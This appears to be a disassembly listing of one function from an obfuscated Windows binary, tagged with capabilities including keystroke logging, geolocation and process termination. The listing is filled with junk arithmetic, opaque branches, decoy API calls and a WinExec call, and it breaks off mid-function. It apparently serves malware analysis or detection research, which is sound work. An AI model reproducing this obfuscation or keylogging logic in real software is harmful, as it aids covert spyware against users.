Function at 0x41b3a9
Capabilities:
Get file system object information
Get geographical location
Log keystrokes via polling
Terminate process

Disassembly:
mov eax, 0x4cd9d1
call fcn.004cd440
sub esp, 0x328
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x24], 0xac204e2d
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x18], 0xcf687292
xor ebx, ebx
mov dword [ebp - 0x20], ebx
xor edi, edi
inc edi
jmp 0x41b3f9
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x68], 4
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x41b3eb
mov dword [ebp - 0x24], ebx
push 3
pop esi
cmp dword [ebp - 0x24], 0xfffffff3
jne 0x41b529
mov dword [ebp - 0x34], 0x3888
mov dword [ebp - 0x20], 0x2ef703c5
mov dword [ebp - 0x3c], 0x11fc80ae
mov dword [ebp - 0x28], 0xe3f36a5b
push esi
lea ecx, [ebp - 0x1a8]
call fcn.0040bdd2
mov dword [ebp - 0x30], 0xbab1f356
mov dword [ebp - 0x1c], ebx
push 2
pop ecx
jmp 0x41b456
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcc], 0xcadfb1af
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x41b445
mov dword [ebp - 0x1c], ebx
jmp 0x41b46d
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x144], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x41b460
mov dword [ebp - 0x1c], ebx
jmp 0x41b48a
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1a8]
mov dword [eax + ecx*4], 0x2932384
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x41b477
mov eax, dword [ebp - 0x24]
inc dword [ebp - 0x144]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x24]
xor edx, edx
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x68]
je 0x41b4c0
cmp dword [ebp - 0x3c], ebx
mov ecx, edi
jne 0x41b4c2
mov ecx, ebx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x34]
xor eax, eax
cmp ecx, esi
setne al
imul eax, dword [ebp - 0x34]
mov dword [ebp - 0x68], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1a8]
mov edx, dword [eax]
sub edx, ecx
mov eax, dword [ebp - 0x24]
sub edx, eax
add edx, 0x4fb389fa
mov dword [ebp - 0x30], edx
je 0x41b507
cmp dword [ebp - 0x2c], ebx
je 0x41b507
cmp dword [ebp - 0x18], ebx
je 0x41b507
cmp dword [ebp - 0xc8], ebx
mov edx, edi
jne 0x41b509
mov edx, ebx
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x1a8]
call fcn.0040bea4
dec dword [ebp - 0x24]
jmp 0x41b404
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41b538
push ebx
call dword [sym.imp.USER32.dll_RegisterClassW]
mov eax, dword [0xaa5a78]
test al, 1
jne 0x41b5bc
or eax, edi
mov dword [0xaa5a78], eax
mov dword [0xaa5aa0], ebx
mov dword [0xaa5aa4], ebx
push ebx
push ebx
call fcn.0040e32f
mov dword [0xaa5aa0], eax
mov dword [0xaa5aa8], ebx
mov dword [0xaa5ab0], ebx
mov dword [0xaa5abc], 0x3f800000
mov dword [ebp - 0xec], eax
mov dword [0xaa5aac], ebx
lea eax, [ebp - 0xec]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x1d4]
push eax
mov ecx, 0xaa5aa8
call fcn.0040e0d4
mov dword [0xaa5ab4], 7
mov dword [0xaa5ab8], 8
push 0x4ce7c7
call fcn.004b7f3d
pop ecx
mov dword [ebp - 0x38], 0x53b26bdd
push esi
lea ecx, [ebp - 0x1b4]
call fcn.0040bdd2
mov dword [ebp - 0x3c], 0xee28fdeb
mov dword [ebp - 0x20], ebx
jmp 0x41b5ee
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1b4]
mov dword [eax + ecx*4], 0x6318d581
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x41b5db
mov dword [ebp - 0x38], ebx
jmp 0x41b63a
mov dword [ebp - 0x28], 0xed15
mov dword [ebp - 0x28], 0x85b7f37c
mov dword [ebp - 0x20], ebx
jmp 0x41b61c
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2d0], 0x1b88146c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x41b60b
dec dword [ebp - 0x3c]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41b637
push 0x24d5
call dword [sym.imp.GDI32.dll_GetBkColor]
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jle 0x41b5f8
lea ecx, [ebp - 0x1b4]
call fcn.0040bea4
imul eax, dword [ebp - 0x48], 0x2710
add eax, dword [ebp - 0x44]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x24], 0x5872
mov dword [ebp - 0x2c], 0xdca27289
mov dword [ebp - 0x1c], 0xfffffff6
push edi
lea ecx, [ebp - 0x118]
call fcn.0040bdd2
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x34], 0x15e0c0a1
mov dword [ebp - 0x20], ebx
jmp 0x41b69e
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x118]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], edi
jl 0x41b68f
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jne 0x41b7c7
mov dword [ebp - 0x18], 0xb34e
mov dword [ebp - 0x40], 0x6b8d9637
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x28], 0x3ccd2466
mov dword [ebp - 0x28], 0xd5493e6
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], 0xa14c5530
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0xdc], 4
mov dword [ebp - 0x28], 0xfffffffb
mov dword [ebp - 0x28], 0xc826ffea
mov dword [ebp - 0x38], ebx
jmp 0x41b713
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1bc], 0x3acb6d64
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
jl 0x41b702
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov ecx, dword [ebp - 0x1c]
neg ecx
sbb ecx, ecx
inc ecx
xor edx, edx
mov eax, dword [ebp - 0x118]
cmp ecx, dword [eax]
setne dl
mov eax, dword [ebp - 0x3c]
imul eax, edx
test eax, eax
je 0x41b74e
cmp dword [ebp - 0x1bc], ebx
mov edx, edi
jne 0x41b750
mov edx, ebx
mov eax, dword [ebp - 0x118]
mov dword [eax], edx
mov eax, dword [ebp - 0x30]
sub edx, eax
mov eax, dword [ebp - 0x20]
xor ecx, ecx
cmp edx, eax
setl cl
mov eax, dword [ebp - 0x34]
inc dword [ebp - 0x34]
cmp eax, ecx
mov ecx, edi
cmovle ecx, ebx
mov eax, dword [ebp - 0xdc]
imul eax, ecx
test eax, eax
jne 0x41b788
cmp dword [ebp - 0x2c], ebx
mov edx, ebx
je 0x41b78a
mov edx, edi
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp edx, eax
setge cl
mov dword [ebp - 0x3c], ecx
imul ecx, dword [ebp - 0x3c], 0x37e1
mov eax, dword [ebp - 0x2c]
xor edx, edx
cmp ecx, eax
setge dl
cmp edx, dword [ebp - 0x30]
jne 0x41b7b4
cmp dword [ebp - 0x28], ebx
mov ecx, ebx
je 0x41b7b6
mov ecx, edi
mov eax, dword [ebp - 0x20]
sub eax, ecx
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x20]
je 0x41b6af
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41b7da
push 0x84e
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
lea ecx, [ebp - 0x118]
call fcn.0040bea4
lea eax, [ebp - 0x6c]
push eax
call fcn.0041cf39
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x1c], 0xb064
push 4
lea ecx, [ebp - 0x19c]
call fcn.0040bdd2
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x2c], 7
push 2
lea ecx, [ebp - 0x160]
call fcn.0040bdd2
mov dword [ebp - 0x2c], 0x440271db
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x40], 0xffffffff
mov dword [ebp - 0x24], ebx
jmp 0x41b84e
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x19c]
mov dword [eax + ecx*4], 0x7c10
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x41b83b
mov dword [ebp - 0x24], ebx
jmp 0x41b86c
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x160]
mov dword [eax + ecx*4], 0xfffffffd
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x41b859
cmp dword [ebp - 0x1c], ebx
mov ecx, ebx
je 0x41b87b
mov ecx, edi
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x19c]
mov dword [eax + 4], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov ecx, 0x90a624cd
cmp ecx, eax
sbb ecx, ecx
inc ecx
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp eax, ecx
setle dl
mov dword [ebp - 0x28], edx
mov edx, dword [ebp - 0x30]
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
xor ecx, ecx
cmp edx, eax
setne cl
cmp dword [ebp - 0x28], ecx
jge 0x41b918
mov dword [ebp - 0x34], 0xfffffffb
mov dword [ebp - 0x28], 0xb379
mov edx, dword [ebp - 0x160]
inc dword [edx + 4]
cmp dword [ebp - 0x34], ebx
jne 0x41b904
mov dword [ebp - 0x2c], edi
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x2c]
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
mov eax, dword [ebp - 0x18]
add eax, 0x33b8
cmp eax, dword [edx + 4]
mov edx, ebx
jne 0x41b906
mov edx, edi
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x28], ecx
jmp 0x41b9e8
mov dword [ebp - 0x30], 0x6a75
movdqa xmm0, xmmword [0xa98e00]
movdqu xmmword [ebp - 0x20c], xmm0
mov dword [ebp - 0x104], ebx
mov dword [ebp - 0x100], ebx
mov dword [ebp - 0xfc], ebx
push dword [ebp + 8]
lea eax, [ebp - 0x1fc]
push eax
lea eax, [ebp - 0x20c]
push eax
push ebx
lea ecx, [ebp - 0x104]
call fcn.0040ee26
mov dword [ebp - 0x1c], 8
cmp dword [ebp - 0x1c], 0xe
je 0x41b9c0
mov esi, dword [ebp - 0x104]
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x30], ebx
mov ecx, ebx
je 0x41b97d
mov ecx, edi
mov dword [esi + 4], ecx
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
setl dl
sub edx, dword [ebp - 0x34]
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
cmp edx, eax
setl cl
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp edx, eax
sbb eax, eax
inc eax
sub eax, ecx
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xe
jne 0x41b971
push 3
pop esi
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41b9dd
push 0x2173
push 0x19c5
push 0x1345
call dword [sym.imp.KERNEL32.dll_MulDiv]
lea ecx, [ebp - 0x104]
call fcn.0040bea4
lea ecx, [ebp - 0x160]
call fcn.0040bea4
lea ecx, [ebp - 0x19c]
call fcn.0040bea4
cmp dword [ebp - 0x3c], ebx
je 0x41bb1d
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x18], 0x3eb60693
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x20], ebx
jmp 0x41ba2d
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2f4], 0xa167c28c
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x41ba1c
cmp dword [ebp - 0x38], edi
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x38]
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
cmp ecx, 0xcd45
setle al
cmp eax, dword [ebp - 0x38]
jle 0x41ba7f
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41bb12
push 0x1eb4
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x41bb12
mov dword [ebp - 0x28], 0xfffe
push esi
lea ecx, [ebp - 0x1fc]
call fcn.0040bdd2
movdqa xmm0, xmmword [0xa98e10]
movdqu xmmword [ebp - 0x23c], xmm0
mov dword [ebp - 0x124], ebx
mov dword [ebp - 0x120], ebx
mov dword [ebp - 0x11c], ebx
push dword [ebp + 8]
lea eax, [ebp - 0x22c]
push eax
lea eax, [ebp - 0x23c]
push eax
push ebx
lea ecx, [ebp - 0x124]
call fcn.0040ee26
mov dword [ebp - 0x20], ebx
jmp 0x41bae5
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1fc]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x41bad6
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
dec dword [ebp - 0x30]
lea ecx, [ebp - 0x124]
call fcn.0040bea4
lea ecx, [ebp - 0x1fc]
call fcn.0040bea4
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x78], eax
jmp 0x41cf1d
mov eax, dword [0xaa5a78]
test al, 2
jne 0x41bba2
or eax, 2
mov dword [0xaa5a78], eax
mov dword [0xaa5a80], ebx
mov dword [0xaa5a84], ebx
push ebx
push ebx
call fcn.0040e32f
mov dword [0xaa5a80], eax
mov dword [0xaa5a88], ebx
mov dword [0xaa5a90], ebx
mov dword [0xaa5a9c], 0x3f800000
mov dword [ebp - 0xa8], eax
mov dword [0xaa5a8c], ebx
lea eax, [ebp - 0xa8]
push eax
push 0x10
push ebx
lea eax, [ebp - 0x1e4]
push eax
mov ecx, 0xaa5a88
call fcn.0040e0d4
mov dword [0xaa5a94], 7
mov dword [0xaa5a98], 8
push 0x4ce7c2
call fcn.004b7f3d
pop ecx
push 4
lea ecx, [ebp - 0x184]
call fcn.0040bdd2
mov dword [ebp - 0x20], 0x2a43d953
mov dword [ebp - 0x20], ebx
jmp 0x41bbce
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x184]
mov dword [eax + ecx*4], 0xe83c773
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x41bbbb
mov eax, dword [ebp - 0x184]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], esi
cmp dword [ebp - 0x20], ebx
jl 0x41bc1d
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41bbfd
push ebx
push ebx
push 0x817
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41bc18
push 0xfc0
push 0x253a
push ebx
push ebx
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
dec dword [ebp - 0x20]
jns 0x41bbe8
lea ecx, [ebp - 0x184]
call fcn.0040bea4
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x98], xmm0
lea eax, [ebp - 0x48]
push eax
call fcn.0041cf9b
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
movdqa xmm0, xmmword [0xa98d90]
movdqu xmmword [ebp - 0x24c], xmm0
mov dword [ebp - 0x130], ebx
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], ebx
push dword [ebp + 8]
lea eax, [ebp - 0x23c]
push eax
lea eax, [ebp - 0x24c]
push eax
push ebx
lea ecx, [ebp - 0x130]
call fcn.0040ee26
mov dword [ebp - 0x28], 0xfe01bd97
push edi
lea ecx, [ebp - 0x1f0]
call fcn.0040bdd2
mov dword [ebp - 0x24], ebx
jmp 0x41bcae
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1f0]
mov dword [eax + ecx*4], 0xae8c9f36
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x41bc9b
mov dword [ebp - 0x24], ebx
jmp 0x41bcc9
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x14c], 0xfffffffe
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jl 0x41bcb8
dec dword [ebp - 0x14c]
lea ecx, [ebp - 0x1f0]
call fcn.0040bea4
lea ecx, [ebp - 0x130]
call fcn.0040bea4
cmp byte [ebp + 0xc], bl
jne 0x41bcfb
mov ecx, dword [ebp - 0x38]
test ecx, ecx
jne 0x41c48b
mov dword [ebp - 0x1c], 0xffffffff
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x2c], edi
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jne 0x41bd1e
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
je 0x41bd30
cmp dword [ebp - 0x1c], ebx
mov eax, edi
jne 0x41bd32
mov eax, ebx
cmp eax, dword [ebp - 0x1c]
jge 0x41bd3c
cmp dword [ebp - 0x1c], ebx
jne 0x41bd43
cmp dword [ebp - 0x1c], ebx
mov edx, ebx
je 0x41bd45
mov edx, edi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setl cl
add ecx, dword [ebp - 0x1c]
cmp ecx, dword [ebp - 0x1c]
jg 0x41bd5a
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], edi
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], ebx
je 0x41bd83
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x1c], ebx
je 0x41be76
mov dword [ebp - 0x30], 0xfffffffd
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x18], 0x53d0c96
mov dword [ebp - 0x20], ebx
jmp 0x41bdbd
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x274], 0xfff8
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x41bdac
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x18], 0x3a8a1d58
mov ecx, dword [ebp - 0x18]
neg ecx
sbb ecx, ecx
neg ecx
xor eax, eax
cmp ecx, 0x7ea9
sete al
xor ecx, ecx
cmp eax, 0x24e1
setle cl
xor edx, edx
cmp ecx, 0x819a
setl dl
add edx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp ecx, 0x5584e2bb
setge al
imul eax, dword [ebp - 0x30]
xor ecx, ecx
cmp eax, 0x6f594a39
setle cl
mov eax, dword [ebp - 0x24]
sub eax, ecx
imul eax, dword [ebp - 0x274]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, ecx
setle dl
add edx, dword [ebp - 0x30]
cmp edx, 0xfffc
sbb eax, eax
inc eax
cmp eax, dword [ebp - 0x1c]
jl 0x41be51
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x20], ebx
je 0x41be5d
cmp dword [ebp - 0x2c], ebx
mov eax, edi
jne 0x41be5f
mov eax, ebx
cmp eax, edi
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
jmp 0x41be8f
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x40], 0x70f82edd
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x334]
push eax
mov dl, byte [ebp + 0xc]
mov ecx, dword [ebp - 0x48]
call fcn.0040f395
pop ecx
mov esi, eax
lea edi, [ebp - 0x98]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x2c], 0xb2c21353
mov dword [ebp - 0x24], 5
mov dword [ebp - 0x18], ebx
push 3
pop esi
jmp 0x41bed5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x88], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x41bec4
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x80], eax
test eax, eax
je 0x41c07c
push esi
lea ecx, [ebp - 0x13c]
call fcn.0040bdd2
mov dword [ebp - 0x28], 0xd73d
xor edi, edi
inc edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x18], ebx
jmp 0x41bf19
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x13c]
mov dword [eax + ecx*4], 0xe5e8
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], esi
jl 0x41bf06
mov eax, dword [ebp - 0x80]
mov dword [ebp - 0x80], edi
mov dword [ebp - 0x30], 9
mov edx, dword [ebp - 0x30]
neg edx
sbb edx, edx
neg edx
mov eax, dword [ebp - 0x2c]
xor ecx, ecx
cmp edx, eax
setle cl
cmp ecx, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x13c]
jg 0x41bf50
cmp dword [ecx + 4], ebx
mov edx, ebx
je 0x41bf52
mov edx, edi
xor eax, eax
cmp dword [ecx + 8], edx
sete al
add eax, 0x326b0086
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x13c]
call fcn.0040bea4
cmp byte [ebp + 0xc], 0
je 0x41c48b
cmp dword [ebp - 0x90], 0
je 0x41c48b
mov dword [ebp - 0x28], ebx
push 7
pop eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], 0xc17633ef
mov dword [ebp - 0x28], 0xfffffff9
mov dword [ebp - 0x28], 0x3fbb4ebb
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x74], ebx
mov dword [ebp - 0x70], ebx
mov dword [ebp - 0x30], 0xfe012d2c
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x30]
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x24], 0x4b81
cmp dword [ebp - 0x24], 0x4f1a
jle 0x41c058
mov dword [ebp - 0x2c], ebx
mov eax, ebx
mov dword [ebp - 0x30], ebx
mov ecx, ebx
mov dword [ebp - 0x20], ebx
cdq
idiv ecx
mov esi, edx
add esi, dword [ebp - 0x2c]
mov dword [ebp - 0x18], 0x23ad
mov eax, esi
cdq
push edx
push eax
lea ecx, [ebp - 0x2e8]
call fcn.004019d8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x41c00f
mov eax, dword [eax]
push eax
call fcn.004b7f67
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2e8]
call fcn.0040c380
inc esi
dec dword [ebp - 0x18]
jne 0x41bff5
mov ecx, dword [ebp - 0x20]
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x3370
mov eax, dword [ebp - 0x30]
jl 0x41bfe6
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x6da5
jl 0x41bfe1
mov ecx, dword [ebp - 0x2c]
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x25ca
jl 0x41bfdc
push 3
pop esi
mov dword [ebp - 4], 2
cmp dword [ebp - 0x24], 0x49a2
jge 0x41c073
push str.pffczb_metfsd_txoxec_rjpikv_iyczx
call fcn.004b7f67
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x41c1da
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x41c08a
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov dword [ebp - 0x24], 2
xor edi, edi
inc edi
cmp dword [ebp - 0x24], ebx
jl 0x41bf72
mov dword [ebp - 0x1c], 0x33ec
cmp dword [ebp - 0x1c], 0x361d
jle 0x41c13e
mov dword [ebp - 0x20], ebx
mov edx, ebx
mov dword [ebp - 0x30], edx
mov dword [ebp - 0x18], 0x22e3
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
mov esi, ebx
mov eax, edx
cdq
idiv ecx
mov eax, edx
mov dword [ebp - 0x28], eax
mov ecx, esi
sar eax, cl
cdq
push edx
push eax
lea ecx, [ebp - 0x2c4]
call fcn.004019d8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x41c0ed
mov eax, dword [eax]
push eax
call fcn.004b7f67
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x2c4]
call fcn.0040c380
inc esi
cmp esi, 0x3512
mov eax, dword [ebp - 0x28]
jl 0x41c0d1
mov ecx, dword [ebp - 0x2c]
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0x428f
mov edx, dword [ebp - 0x30]
jl 0x41c0c5
mov eax, dword [ebp - 0x20]
add edx, eax
mov dword [ebp - 0x30], edx
dec dword [ebp - 0x18]
jne 0x41c0c0
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x5f02
jl 0x41c0b4
push 3
pop esi
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x1c], 0x32e9
jge 0x41c155
push str.xtt_ucegpnf_ryma_bth_wlmm_ygxg_pfegdtybo_oid_goqskdy_jhpcyhugc
call fcn.004b7f67
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x41c187
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x24]
imul ecx, dword [ebp + eax*4 - 0x88]
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x88], ecx
dec dword [ebp - 0x24]
jmp 0x41c094
mov dword [ebp - 0x18], 0x7689351f
mov dword [ebp - 0x20], 0x4c7b7f60
mov dword [ebp - 0x1c], 0x6d23
cmp dword [ebp - 0x1c], 0x6f31
jle 0x41c2a0
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov ecx, ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x30], ebx
mov eax, esi
cdq
idiv ecx
mov dword [ebp - 0x40], edx
mov eax, ebx
mov esi, ebx
mov ecx, eax
xor ecx, edx
mov dword [ebp - 0x28], ecx
mov eax, esi
or eax, ecx
cdq
push edx
push eax
lea ecx, [ebp - 0x324]
call fcn.004019d8
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x41c23e
mov eax, dword [eax]
push eax
call fcn.004b7f67
pop ecx
push ebx
push edi
lea ecx, [ebp - 0x324]
call fcn.0040c380
inc esi
cmp esi, 0x7c09
mov ecx, dword [ebp - 0x28]
jl 0x41c222
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x2f60
mov edx, dword [ebp - 0x40]
jl 0x41c219
mov ecx, dword [ebp - 0x2c]
inc ecx
mov dword [ebp - 0x2c], ecx
cmp ecx, 0xa1a
mov esi, dword [ebp - 0x24]
jl 0x41c20c
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x2ac
jl 0x41c207
push 0x124e
push ebx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 3
pop esi
mov dword [ebp - 4], 4
cmp dword [ebp - 0x1c], 0x6a04
jge 0x41c2bb
